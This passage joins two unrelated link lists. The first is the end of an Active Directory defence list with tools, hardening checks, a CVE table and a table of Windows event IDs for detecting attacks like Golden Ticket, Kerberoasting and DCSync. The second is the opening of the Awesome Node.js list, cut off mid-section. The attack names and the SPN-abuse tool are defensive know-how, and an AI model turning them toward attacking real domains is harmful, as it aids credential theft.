the krbtgt account password and related keys while minimizing the likelihood of Kerberos authentication issues being caused by the operation * [Reset The KrbTgt Account Password/Keys For RWDCs/RODCs](https://gallery.technet.microsoft.com/Reset-The-KrbTgt-Account-5f45a414) * [RiskySPN](https://github.com/cyberark/RiskySPN) - RiskySPNs is a collection of PowerShell scripts focused on detecting and abusing accounts associated with SPNs (Service Principal Name). * [Deploy-Deception](https://github.com/samratashok/Deploy-Deception) - A PowerShell module to deploy active directory decoy objects * [SpoolerScanner](https://github.com/vletoux/SpoolerScanner) - Check if MS-RPRN is remotely available with powershell/c# * [dcept](https://github.com/secureworks/dcept) - A tool for deploying and detecting use of Active Directory honeytokens * [LogonTracer](https://github.com/JPCERTCC/LogonTracer) - Investigate malicious Windows logon by visualizing and analyzing Windows event log * [DCSYNCMonitor](https://github.com/shellster/DCSYNCMonitor) - Monitors for DCSYNC and DCSHADOW attacks and create custom Windows Events for these events * [Sigma](https://github.com/Neo23x0/sigma/) - Generic Signature Format for SIEM Systems * [Sysmon](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon) - System Monitor (Sysmon) is a Windows system service and device driver that, once installed on a system, remains resident across system reboots to monitor and log system activity to the Windows event log. * [SysmonSearch](https://github.com/JPCERTCC/SysmonSearch) - Investigate suspicious activity by visualizing Sysmon's event log * [ClrGuard](https://github.com/endgameinc/ClrGuard) - ClrGuard is a proof of concept project to explore instrumenting the Common Language Runtime (CLR) for security purposes. * [Get-ClrReflection](https://gist.github.com/dezhub/2875fa6dc78083cedeab10abc551cb58) - Detects memory-only CLR (.NET) modules. * [Get-InjectedThread](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2) - Get-InjectedThread looks at each running thread to determine if it is the result of memory injection. * [SilkETW](https://github.com/fireeye/SilkETW) - SilkETW & SilkService are flexible C# wrappers for ETW, they are meant to abstract away the complexities of ETW and give people a simple interface to perform research and introspection. ### Sysmon Configuration * [sysmon-modular](https://github.com/olafhartong/sysmon-modular) - A Sysmon configuration repository for everybody to customise * [sysmon-dfir](https://github.com/MHaggis/sysmon-dfir) - Sources, configuration and how to detect evil things utilizing Microsoft Sysmon. * [sysmon-config](https://github.com/SwiftOnSecurity/sysmon-config) - Sysmon configuration file template with default high-quality event tracing ### Active Directory Security Checks (by Sean Metcalf - @Pyrotek3) #### General Recommendations * Manage local Administrator passwords (LAPS). * Implement RDP Restricted Admin mode (as needed). * Remove unsupported OSs from the network. * Monitor scheduled tasks on sensitive systems (DCs, etc.). * Ensure that OOB management passwords (DSRM) are changed regularly & securely stored. * Use SMB v2/v3+ * Default domain Administrator & KRBTGT password should be changed every year & when an AD admin leaves. * Remove trusts that are no longer necessary & enable SID filtering as appropriate. * All domain authentications should be set (when possible) to: "Send NTLMv2 response onlyrefuse LM & NTLM." * Block internet access for DCs, servers, & all administration systems. #### Protect Admin Credentials * No "user" or computer accounts in admin groups. * Ensure all admin accounts are "sensitive & cannot be delegated". * Add admin accounts to "Protected Users" group (requires Windows Server 2012 R2 Domain Controllers, 2012R2 DFL for domain protection). * Disable all inactive admin accounts and remove from privileged groups. #### Protect AD Admin Credentials * Limit AD admin membership (DA, EA, Schema Admins, etc.) & only use custom delegation groups. * ‘Tiered’ Administration mitigating credential theft impact. * Ensure admins only logon to approved admin workstations & servers. * Leverage time-based, temporary group membership for all admin accounts #### Protect Service Account Credentials * Limit to systems of the same security level. * Leverage “(Group) Managed Service Accounts” (or PW >20 characters) to mitigate credential theft (kerberoast). * Implement FGPP (DFL =>2008) to increase PW requirements for SAs and administrators. * Logon restrictions – prevent interactive logon & limit logon capability to specific computers. * Disable inactive SAs & remove from privileged groups. #### Protect Resources * Segment network to protect admin & critical systems. * Deploy IDS to monitor the internal corporate network. * Network device & OOB management on separate network. #### Protect Domain Controllers * Only run software & services to support AD. * Minimal groups (& users) with DC admin/logon rights. * Ensure patches are applied before running DCPromo (especially MS14-068 and other critical patches). * Validate scheduled tasks & scripts. #### Protect Workstations (& Servers) * Patch quickly, especially privilege escalation vulnerabilities. * Deploy security back-port patch (KB2871997). * Set Wdigest reg key to 0 (KB2871997/Windows 8.1/2012R2+): HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWdigest * Deploy workstation whitelisting (Microsoft AppLocker) to block code exec in user folders – home dir & profile path. * Deploy workstation app sandboxing technology (EMET) to mitigate application memory exploits (0-days). #### Logging * Enable enhanced auditing * “Audit: Force audit policy subcategory settings (Windows Vista or later) to override audit policy category settings” * Enable PowerShell module logging (“*”) & forward logs to central log server (WEF or other method). * Enable CMD Process logging & enhancement (KB3004375) and forward logs to central log server. * SIEM or equivalent to centralize as much log data as possible. * User Behavioural Analysis system for enhanced knowledge of user activity (such as Microsoft ATA). #### Security Pro’s Checks * Identify who has AD admin rights (domain/forest). * Identify who can logon to Domain Controllers (& admin rights to virtual environment hosting virtual DCs). * Scan Active Directory Domains, OUs, AdminSDHolder, & GPOs for inappropriate custom permissions. * Ensure AD admins (aka Domain Admins) protect their credentials by not logging into untrusted systems (workstations). * Limit service account rights that are currently DA (or equivalent). ### Important Security Updates |CVE|Title|Description|Link| |---|-----|-----------|----| |CVE-2019-1040|Windows NTLM Tampering Vulnerability|A tampering vulnerability exists in Microsoft Windows when a man-in-the-middle attacker is able to successfully bypass the NTLM MIC (Message Integrity Check) protection, aka 'Windows NTLM Tampering Vulnerability'.|https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1040| |CVE-2019-0683|Active Directory Elevation of Privilege Vulnerability|An elevation of privilege vulnerability exists in Active Directory Forest trusts due to a default setting that lets an attacker in the trusting forest request delegation of a TGT for an identity from the trusted forest, aka 'Active Directory Elevation of Privilege Vulnerability'.|https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0683| |CVE-2019-0708|Remote Desktop Services Remote Code Execution Vulnerability|A remote code execution vulnerability exists in Remote Desktop Services formerly known as Terminal Services when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests, aka 'Remote Desktop Services Remote Code Execution Vulnerability'.|https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708| |CVE-2018-8581|Microsoft Exchange Server Elevation of Privilege Vulnerability|An elevation of privilege vulnerability exists in Microsoft Exchange Server, aka "Microsoft Exchange Server Elevation of Privilege Vulnerability." This affects Microsoft Exchange Server.|https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8518| |CVE-2017-0143|Windows SMB Remote Code Execution Vulnerability|The SMBv1 server in Microsoft Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607; and Windows Server 2016 allows remote attackers to execute arbitrary code via crafted packets, aka "Windows SMB Remote Code Execution Vulnerability." This vulnerability is different from those described in CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, and CVE-2017-0148.|https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0143| |CVE-2016-0128|Windows SAM and LSAD Downgrade Vulnerability|The SAM and LSAD protocol implementations in Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, and Windows 10 Gold and 1511 do not properly establish an RPC channel, which allows man-in-the-middle attackers to perform protocol-downgrade attacks and impersonate users by modifying the client-server data stream, aka "Windows SAM and LSAD Downgrade Vulnerability" or "BADLOCK."|https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-0128| |CVE-2014-6324|Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780)|The Kerberos Key Distribution Center (KDC) in Microsoft Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, and Windows Server 2012 Gold and R2 allows remote authenticated domain users to obtain domain administrator privileges via a forged signature in a ticket, as exploited in the wild in November 2014, aka "Kerberos Checksum Vulnerability."|https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-068| |CVE-2014-1812|Vulnerability in Group Policy Preferences could allow elevation of privilege|The Group Policy implementation in Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, and Windows Server 2012 Gold and R2 does not properly handle distribution of passwords, which allows remote authenticated users to obtain sensitive credential information and consequently gain privileges by leveraging access to the SYSVOL share, as exploited in the wild in May 2014, aka "Group Policy Preferences Password Elevation of Privilege Vulnerability."|https://support.microsoft.com/en-us/help/2962486/ms14-025-vulnerability-in-group-policy-preferences-could-allow-elevati| ### Detection |Attack|Event ID| |------|--------| |Account and Group Enumeration|4798: A user's local group membership was enumerated<br>4799: A security-enabled local group membership was enumerated| |AdminSDHolder|4780: The ACL was set on accounts which are members of administrators groups| |Kekeo|4624: Account Logon<br>4672: Admin Logon<br>4768: Kerberos TGS Request| |Silver Ticket|4624: Account Logon<br>4634: Account Logoff<br>4672: Admin Logon| |Golden Ticket|4624: Account Logon<br>4672: Admin Logon| |PowerShell|4103: Script Block Logging<br>400: Engine Lifecycle<br>403: Engine Lifecycle<br>4103: Module Logging<br>600: Provider Lifecycle<br>| |DCShadow|4742: A computer account was changed<br>5137: A directory service object was created<br>5141: A directory service object was deleted<br>4929: An Active Directory replica source naming context was removed| |Skeleton Keys|4673: A privileged service was called<br>4611: A trusted logon process has been registered with the Local Security Authority<br>4688: A new process has been created<br>4689: A new process has exited| |PYKEK MS14-068|4672: Admin Logon<br>4624: Account Logon<br>4768: Kerberos TGS Request| |Kerberoasting|4769: A Kerberos ticket was requested| |S4U2Proxy|4769: A Kerberos ticket was requested| |Lateral Movement|4688: A new process has been created<br>4689: A process has exited<br>4624: An account was successfully logged on<br>4625: An account failed to log on| |DNSAdmin|770: DNS Server plugin DLL has been loaded<br>541: The setting serverlevelplugindll on scope . has been set to `<dll path>`<br>150: DNS Server could not load or initialize the plug-in DLL| |DCSync|4662: An operation was performed on an object| |Password Spraying|4625: An account failed to log on<br>4771: Kerberos pre-authentication failed<br>4648: A logon was attempted using explicit credentials| ### Resources * [ASD Strategies to Mitigate Cyber Security Incidents](https://acsc.gov.au/publications/Mitigation_Strategies_2017.pdf) * [Reducing the Active Directory Attack Surface](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/reducing-the-active-directory-attack-surface) * [Changes to Ticket-Granting Ticket (TGT) Delegation Across Trusts in Windows Server (AskPFEPlat edition)](https://techcommunity.microsoft.com/t5/Premier-Field-Engineering/Changes-to-Ticket-Granting-Ticket-TGT-Delegation-Across-Trusts/ba-p/440283) * [ADV190023 | Microsoft Guidance for Enabling LDAP Channel Binding and LDAP Signing](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV190023) * [Active Directory: Ultimate Reading Collection](https://social.technet.microsoft.com/wiki/contents/articles/20964.active-directory-ultimate-reading-collection.aspx) * [Security Hardening Tips and Recommendations](https://social.technet.microsoft.com/wiki/contents/articles/18931.security-hardening-tips-and-recommendations.aspx) * [Securing Domain Controllers to Improve Active Directory Security](https://adsecurity.org/?p=3377) * [Securing Windows Workstations: Developing a Secure Baseline](https://adsecurity.org/?p=3299) * [Implementing Secure Administrative Hosts](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/implementing-secure-administrative-hosts) * [Privileged Access Management for Active Directory Domain Services](https://docs.microsoft.com/en-us/microsoft-identity-manager/pam/privileged-identity-management-for-active-directory-domain-services) * [Awesome Windows Domain Hardening](https://github.com/PaulSec/awesome-windows-domain-hardening) * [Best Practices for Securing Active Directory](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/best-practices-for-securing-active-directory) * [Introducing the Adversary Resilience Methodology — Part One](https://posts.specterops.io/introducing-the-adversary-resilience-methodology-part-one-e38e06ffd604) * [Introducing the Adversary Resilience Methodology — Part Two](https://posts.specterops.io/introducing-the-adversary-resilience-methodology-part-two-279a1ed7863d) * [Mitigating Pass-the-Hash and Other Credential Theft, version 2](https://download.microsoft.com/download/7/7/A/77ABC5BD-8320-41AF-863C-6ECFB10CB4B9/Mitigating-Pass-the-Hash-Attacks-and-Other-Credential-Theft-Version-2.pdf) * [Configuration guidance for implementing the Windows 10 and Windows Server 2016 DoD Secure Host Baseline settings](https://github.com/nsacyber/Windows-Secure-Host-Baseline) * [Monitoring Active Directory for Signs of Compromise](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/monitoring-active-directory-for-signs-of-compromise) * [Detecting Lateral Movement through Tracking Event Logs](https://www.jpcert.or.jp/english/pub/sr/Detecting%20Lateral%20Movement%20through%20Tracking%20Event%20Logs_version2.pdf) * [Kerberos Golden Ticket Protection Mitigating Pass-the-Ticket on Active Directory](https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf) * [Overview of Microsoft's "Best Practices for Securing Active Directory"](https://digital-forensics.sans.org/blog/2013/06/20/overview-of-microsofts-best-practices-for-securing-active-directory) * [The Keys to the Kingdom: Limiting Active Directory Administrators](https://dsimg.ubm-us.net/envelope/155422/314202/1330537912_Keys_to_the_Kingdom_Limiting_AD_Admins.pdf) * [Protect Privileged AD Accounts With Five Free Controls](https://blogs.sans.org/cyber-defense/2018/09/10/protect-privileged-ad-accounts-with-five-free-controls/) * [The Most Common Active Directory Security Issues and What You Can Do to Fix Them](https://adsecurity.org/?p=1684) * [Event Forwarding Guidance](https://github.com/nsacyber/Event-Forwarding-Guidance) * [Planting the Red Forest: Improving AD on the Road to ESAE](https://www.mwrinfosecurity.com/our-thinking/planting-the-red-forest-improving-ad-on-the-road-to-esae/) * [Detecting Kerberoasting Activity](https://adsecurity.org/?p=3458) * [Security Considerations for Trusts](https://docs.microsoft.com/pt-pt/previous-versions/windows/server/cc755321(v=ws.10)) * [Advanced Threat Analytics suspicious activity guide](https://docs.microsoft.com/en-us/advanced-threat-analytics/suspicious-activity-guide) * [Protection from Kerberos Golden Ticket](https://cert.europa.eu/static/WhitePapers/CERT-EU-SWP_14_07_PassTheGolden_Ticket_v1_1.pdf) * [Windows 10 Credential Theft Mitigation Guide](https://download.microsoft.com/download/C/1/4/C14579CA-E564-4743-8B51-61C0882662AC/Windows%2010%20credential%20theft%20mitigation%20guide.docx) * [Detecting Pass-The- Ticket and Pass-The- Hash Attack Using Simple WMI Commands](https://blog.javelin-networks.com/detecting-pass-the-ticket-and-pass-the-hash-attack-using-simple-wmi-commands-2c46102b76bc) * [Step by Step Deploy Microsoft Local Administrator Password Solution](https://gallery.technet.microsoft.com/Step-by-Step-Deploy-Local-7c9ef772) * [Active Directory Security Best Practices](https://www.troopers.de/downloads/troopers17/TR17_AD_signed.pdf) * [Finally Deploy and Audit LAPS with Project VAST, Part 1 of 2](https://blogs.technet.microsoft.com/jonsh/2018/10/03/finally-deploy-and-audit-laps-with-project-vast-part-1-of-2/) * [Windows Security Log Events](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/default.aspx) * [Talk Transcript BSidesCharm Detecting the Elusive: Active Directory Threat Hunting](https://www.trimarcsecurity.com/single-post/Detecting-the-Elusive-Active-Directory-Threat-Hunting) * [Preventing Mimikatz Attacks](https://medium.com/blue-team/preventing-mimikatz-attacks-ed283e7ebdd5) * [Understanding "Red Forest" - The 3-Tier ESAE and Alternative Ways to Protect Privileged Credentials](https://www.slideshare.net/QuestSoftware/understanding-red-forest-the-3tier-esae-and-alternative-ways-to-protect-privileged-credentials) * [Securing Microsoft Active Directory Federation Server (ADFS)](https://adsecurity.org/?p=3782) * [Azure AD and ADFS best practices: Defending against password spray attacks](https://www.microsoft.com/en-us/microsoft-365/blog/2018/03/05/azure-ad-and-adfs-best-practices-defending-against-password-spray-attacks/) * [AD Reading: Active Directory Backup and Disaster Recovery](https://adsecurity.org/?p=22) * [Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques](https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process) * [Hunting For In-Memory .NET Attacks](https://www.endgame.com/blog/technical-blog/hunting-memory-net-attacks) * [Mimikatz Overview, Defenses and Detection](https://www.sans.org/reading-room/whitepapers/detection/mimikatz-overview-defenses-detection-36780) * [Trimarc Research: Detecting Password Spraying with Security Event Auditing](https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing) * [Hunting for Gargoyle Memory Scanning Evasion](https://www.countercept.com/blog/hunting-for-gargoyle/) * [Planning and getting started on the Windows Defender Application Control deployment process](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control-deployment-guide) * [Preventing Lateral Movement Using Network Access Groups](https://medium.com/think-stack/preventing-lateral-movement-using-network-access-groups-7e8d539a9029) * [How to Go from Responding to Hunting with Sysinternals Sysmon](https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow) * [Windows Event Forwarding Guidance](https://github.com/palantir/windows-event-forwarding) * [Threat Mitigation Strategies: Part 2 – Technical Recommendations and Information](http://threatexpress.com/2018/05/threat-mitigation-strategies-technical-recommendations-and-info-part-2/) * [Modern Hardening: Lessons Learned on Hardening Applications and Services](https://channel9.msdn.com/Events/Ignite/2015/BRK3486) * [ITSP.70.012 Guidance for Hardening Microsoft Windows 10 Enterprise](http://publications.gc.ca/collections/collection_2019/cstc-csec/D97-3-70-12-2019-eng.pdf) * [Blue Team Tips](https://www.sneakymonkey.net/2018/06/25/blue-team-tips/) * [Active Directory Domain Security Technical Implementation Guide (STIG)](https://www.stigviewer.com/stig/active_directory_domain/) * [Active Directory Security Testing Guide - v2.0](https://www.slideshare.net/HuyKha2/adstg-v20-guidance)

<div align="center"> <div> <img width="500" src="media/logo.svg" alt="Awesome Node.js"> </div> <br> <br> <br> <a href="https://awesome.re"> <img src="https://awesome.re/badge-flat2.svg" alt="Awesome"> </a> <p> _{Just type <a href="https://node.cool"><code>node.cool</code></a> to go here. Check out my <a href="https://blog.sindresorhus.com">blog</a> and follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.} </p> <br> </div> ## Contents - [Packages](#packages) - [Mad science](#mad-science) - [Command-line apps](#command-line-apps) - [Functional programming](#functional-programming) - [HTTP](#http) - [Debugging / Profiling](#debugging--profiling) - [Logging](#logging) - [Command-line utilities](#command-line-utilities) - [Build tools](#build-tools) - [Hardware](#hardware) - [Templating](#templating) - [Web frameworks](#web-frameworks) - [Documentation](#documentation) - [Filesystem](#filesystem) - [Control flow](#control-flow) - [Streams](#streams) - [Real-time](#real-time) - [Image](#image) - [Text](#text) - [Number](#number) - [Math](#math) - [Date](#date) - [URL](#url) - [Data validation](#data-validation) - [Parsing](#parsing) - [Humanize](#humanize) - [Compression](#compression) - [Network](#network) - [Database](#database) - [Testing](#testing) - [Security](#security) - [Benchmarking](#benchmarking) - [Minifiers](#minifiers) - [Authentication](#authentication) - [Authorization](#authorization) - [Email](#email) - [Job queues](#job-queues) - [Node.js management](#nodejs-management) - [Natural language processing](#natural-language-processing) - [Process management](#process-management) - [Automation](#automation) - [AST](#ast) - [Static site generators](#static-site-generators) - [Content management systems](#content-management-systems) - [Forum](#forum) - [Blogging](#blogging) - [Weird](#weird) - [Serialization](#serialization) - [Miscellaneous](#miscellaneous) - [Resources](#resources) - [Tutorials](#tutorials) - [Discovery](#discovery) - [Articles](#articles) - [Newsletters](#newsletters) - [Videos](#videos) - [Books](#books) - [Blogs](#blogs) - [Courses](#courses) - [Cheatsheets](#cheatsheets) - [Tools](#tools) - [Community](#community) - [Miscellaneous](#miscellaneous) ## Packages ### Mad science - [webtorrent](https://github.com/feross/webtorrent) - Streaming torrent client for Node.js and the browser. - [peerflix](https://github.com/mafintosh/peerflix) - Streaming torrent client. - [dat](https://github.com/datproject/dat-node) - Real-time replication and versioning for data sets. - [ipfs](https://github.com/ipfs/js-ipfs) - Distributed file system that seeks to connect all computing devices with the same system of files. - [stackgl](https://github.com/stackgl) - Open software ecosystem for WebGL, built on top of browserify and npm. - [peerwiki](https://github.com/mafintosh/peerwiki) - All of Wikipedia on BitTorrent. - [peercast](https://github.com/mafintosh/peercast) - Stream a torrent video to Chromecast. - [BitcoinJS](https://github.com/bitcoinjs/bitcoinjs-lib) - Clean, readable, proven Bitcoin library. - [Bitcore](https://github.com/bitpay/bitcore) - Pure and powerful Bitcoin library. - [PDFKit](https://github.com/devongovett/pdfkit) - PDF generation library. - [turf](https://github.com/Turfjs/turf) - Modular geospatial processing and analysis engine. - [webcat](https://github.com/mafintosh/webcat) - p2p pipe across the web using WebRTC that uses your GitHub private/public key for authentication. - [NodeOS](https://github.com/NodeOS/NodeOS) - The first operating system powered by npm. - [YodaOS](https://github.com/yodaos-project/yodaos) - AI operating system. - [Brain.js](https://github.com/BrainJS/brain.js) - Machine-learning framework. - [Cytoscape.js](https://github.com/cytoscape/cytoscape.js) - Graph theory (a.k.a. network) modeling and analysis. - [Kadence](https://gitlab.com/deadcanaries/kadence) - Kademlia distributed hash table. - [seedshot](https://github.com/twobucks/seedshot) - Temporary P2P screenshot sharing from your browser. - [js-git](https://github.com/creationix/js-git) - JavaScript implementation of Git. - [skale](https://github.com/skale-me/skale-engine) - High performance distributed data processing engine. - [xlsx](https://github.com/sheetjs/js-xlsx) - Pure JS Excel spreadsheet reader and writer. - [isomorphic-git](https://github.com/isomorphic-git/isomorphic-git) - Pure JavaScript implementation of Git. ### Command-line apps - [np](https://github.com/sindresorhus/np) - Better `npm publish`. - [npm-name](https://github.com/sindresorhus/npm-name) - Check a package name's availability on npm. - [gh-home](https://github.com/sindresorhus/gh-home) - Open the GitHub page of the repo in the current directory. - [npm-home](https://github.com/sindresorhus/npm-home) - Open the npm page of a package. - [trash](https://github.com/sindresorhus/trash) - Safer alternative to `rm`. - [speed-test](https://github.com/sindresorhus/speed-test) - Test your internet connection speed and ping. - [emoj](https://github.com/sindresorhus/emoj) - Find relevant emoji from text on the command-line. - [pageres](https://github.com/sindresorhus/pageres) - Capture website screenshots. - [cpy](https://github.com/sindresorhus/cpy) - Copy files. - [vtop](https://github.com/MrRio/vtop) - More better top, with nice charts. - [empty-trash](https://github.com/sindresorhus/empty-trash) - Empty the trash. - [is-up](https://github.com/sindresorhus/is-up) - Check whether a website is up or down. - [is-online](https://github.com/sindresorhus/is-online) - Check if the internet connection is up. - [public-ip](https://github.com/sindresorhus/public-ip) - Get your public IP address. - [clipboard-cli](https://github.com/sindresorhus/clipboard-cli) - Copy & paste on the terminal. - [XO](https://github.com/xojs/xo) - Enforce strict code style using the JavaScript happiness style. - [Standard](https://github.com/feross/standard) - JavaScript Standard Style — One style to rule them all. - [ESLint](https://github.com/eslint/eslint) - The pluggable linting utility for JavaScript. - [dev-time](https://github.com/samverschueren/dev-time-cli) - Get the current local time of a GitHub user. - [David](https://github.com/alanshaw/david) - Tells you when your package npm dependencies are out of date. - [http-server](https://github.com/indexzero/http-server) - Simple, zero-config command-line HTTP server. - [Live Server](https://github.com/tapio/live-server) - Development HTTP-server with livereload capability. - [bcat](https://github.com/kessler/node-bcat) - Pipe command output to web browsers. - [normit](https://github.com/pawurb/normit) - Google Translate with speech synthesis in your terminal. - [fkill](https://github.com/sindresorhus/fkill-cli) - Fabulously kill processes. Cross-platform. - [pjs](https://github.com/danielstjules/pjs) - Pipeable JavaScript. Quickly filter, map, and reduce from the terminal. - [license-checker](https://github.com/davglass/license-checker) - Check licenses of your app's dependencies. - [browser-run](https://github.com/juliangruber/browser-run) - Easily run code in a browser environment. - [tmpin](https://github.com/sindresorhus/tmpin) - Adds stdin support to any CLI app that accepts file input. - [wifi-password](https://github.com/kevva/wifi-password-cli) - Get the current wifi password. - [wallpaper](https://github.com/sindresorhus/wallpaper) - Change the desktop wallpaper. - [brightness](https://github.com/kevva/brightness-cli) - Change the screen brightness. - [torrent](https://github.com/maxogden/torrent) - Download torrents. - [kill-tabs](https://github.com/sindresorhus/kill-tabs) - Kill all Chrome tabs to improve performance, decrease battery usage, and save memory. - [alex](https://github.com/wooorm/alex) - Catch insensitive, inconsiderate writing. - [pen](https://github.com/noraesae/pen) - Live Markdown preview in the browser from your favorite editor. - [subdownloader](https://github.com/beatfreaker/subdownloader) - Subtitle downloader for movies and TV series. - [dark-mode](https://github.com/sindresorhus/dark-mode) - Toggle the macOS Dark Mode. - [iponmap](https://github.com/nogizhopaboroda/iponmap) - IP location finder. - [Jsome](https://github.com/Javascipt/Jsome) - Pretty prints JSON with configurable colors and indentation. - [itunes-remote](https://github.com/mischah/itunes-remote) - Interactively control iTunes. - [mobicon](https://github.com/samverschueren/mobicon-cli) - Mobile app icon generator. - [mobisplash](https://github.com/samverschueren/mobisplash-cli) - Mobile app splash screen generator. - [diff2html-cli](https://github.com/rtfpessoa/diff2html-cli) - Pretty git diff to HTML generator. - [Cash](https://github.com/dthree/cash) - Cross-platform Unix shell commands in pure JavaScript. - [trymodule](https://github.com/VictorBjelkholm/trymodule) - Try out npm packages in the terminal. - [jscpd](https://github.com/kucherenko/jscpd) - Copy/paste detector for source code. - [atmo](https://github.com/Raathigesh/Atmo) - Server-side API mocking. - [auto-install](https://github.com/siddharthkp/auto-install) - Auto installs dependencies as you code. - [lessmd](https://github.com/linuxenko/lessmd) - Markdown in the terminal. - [cost-of-modules](https://github.com/siddharthkp/cost-of-modules) - Find out which dependencies are slowing you down. - [localtunnel](https://github.com/localtunnel/localtunnel) - Expose your localhost to the world. - [svg-term-cli](https://github.com/marionebl/svg-term-cli) - Share terminal sessions via SVG. - [gtop](https://github.com/aksakalli/gtop) - System monitoring dashboard for the terminal. - [themer](https://github.com/mjswensen/themer) - Generate themes for your editor, terminal, wallpaper, Slack, and more. - [carbon-now-cli](https://github.com/mixn/carbon-now-cli) - Beautiful images of your code — from right inside your terminal. - [cash-cli](https://github.com/xxczaki/cash-cli) - Convert between 170 currencies. - [taskbook](https://github.com/klauscfhq/taskbook) - Tasks, boards & notes for the command-line habitat. - [discharge](https://github.com/brandonweiss/discharge) - Easily deploy static websites to Amazon S3. ### Functional programming - [lodash](https://github.com/lodash/lodash) - Utility library delivering consistency, customization, performance, & extras. A better and faster Underscore.js. - [immutable](https://github.com/facebook/immutable-js) - Immutable data collections. - [Ramda](https://github.com/ramda/ramda) - Utility library with a focus on flexible functional composition enabled by automatic currying and reversed argument order. Avoids mutating data. - [Folktale](https://github.com/origamitower/folktale) - Suite of libraries for generic functional programming in JavaScript that allows you to write elegant, modular applications with fewer bugs, and more reuse. - [Mout](https://github.com/mout/mout) - Utility library with the biggest difference between other existing solutions is that you can choose to load only the modules/functions that you need, no extra overhead. - [Bacon.js](https://github.com/baconjs/bacon.js) - Functional reactive programming. - [RxJS](https://github.com/reactivex/rxjs) - Functional reactive library for transforming, composing, and querying various kinds of data. - [Lazy.js](https://github.com/dtao/lazy.js) - Utility library similar to lodash/Underscore but with lazy evaluation, which can translate to superior performance in many cases. - [Kefir.js](https://github.com/kefirjs/kefir) - Reactive library with focus on high performance and low memory usage. ### HTTP - [got](https://github.com/sindresorhus/got) - Nicer interface to the built-in `http` module. - [gh-got](https://github.com/sindresorhus/gh-got) - Convenience wrapper for `got` to interact with the GitHub API. - [axios](https://github.com/mzabriskie/axios) - Promise based HTTP client (works in the browser too). - [request](https://github.com/request/request) - Simplified HTTP request client. - [wreck](https://github.com/hapijs/wreck) - HTTP Client Utilities. - [download](https://github.com/kevva/download) - Download and extract files effortlessly. - [http-proxy](https://github.com/nodejitsu/node-http-proxy) - HTTP proxy. - [superagent](https://github.com/visionmedia/superagent) - HTTP request library. - [node-fetch](https://github.com/bitinn/node-fetch) - `window.fetch` for Node.js. - [flashheart](https://github.com/bbc/flashheart) - REST client. - [http-fake-backend](https://github.com/micromata/http-fake-backend) - Build a fake backend by providing the content of JSON files or JavaScript objects through configurable routes. - [cacheable-request](https://github.com/lukechilds/cacheable-request) - Wrap native HTTP requests with RFC compliant cache support. - [gotql](https://github.com/khaosdoctor/gotql) - GraphQL request library built on [got](https://github.com/sindresorhus/got). ### Debugging / Profiling - [ndb](https://github.com/GoogleChromeLabs/ndb) - Improved debugging experience, enabled by Chrome DevTools. - [ironNode](https://github.com/s-a/iron-node) - Node.js debugger supporting ES2015 out of the box. - [node-inspector](https://github.com/node-inspector/node-inspector) - Debugger based on Blink Developer Tools. - [debug](https://github.com/visionmedia/debug) - Tiny debugging utility. - [why-is-node-running](https://github.com/mafintosh/why-is-node-running) - Node.js is running but you don't know why? - [njsTrace](https://github.com/valyouw/njstrace) - Instrument and trace your code, see all function calls, arguments, return values, as well as the time spent in each function. - [vstream](https://github.com/joyent/node-vstream) - Instrumentable streams mix-ins to inspect a pipeline of streams. - [stackman](https://github.com/watson/stackman) - Enhance an error stacktrace with code excerpts and other goodies. - [locus](https://github.com/alidavut/locus) - Starts a REPL at runtime that has access to all variables. - [0x](https://github.com/davidmarkclements/0x) - Flamegraph profiling. - [ctrace](https://github.com/automation-stack/ctrace) - Well-formatted and improved trace system calls and signals. - [leakage](https://github.com/andywer/leakage) - Write memory leak tests. - [llnode](https://github.com/nodejs/llnode) - Post-mortem analysis tool which allows you to inspect objects and get insights from a crashed Node.js process. ### Logging - [pino](https://github.com/pinojs/pino) - Extremely fast logger inspired by Bunyan. - [winston](https://github.com/winstonjs/winston) - Multi-transport async logging library. - [console-log-level](https://github.com/watson/console-log-level) - The most simple logger imaginable with support for log levels and custom prefixes. - [storyboard](https://github.com/guigrpa/storyboard) - End-to-end, hierarchical, real-time, colorful logs and stories. - 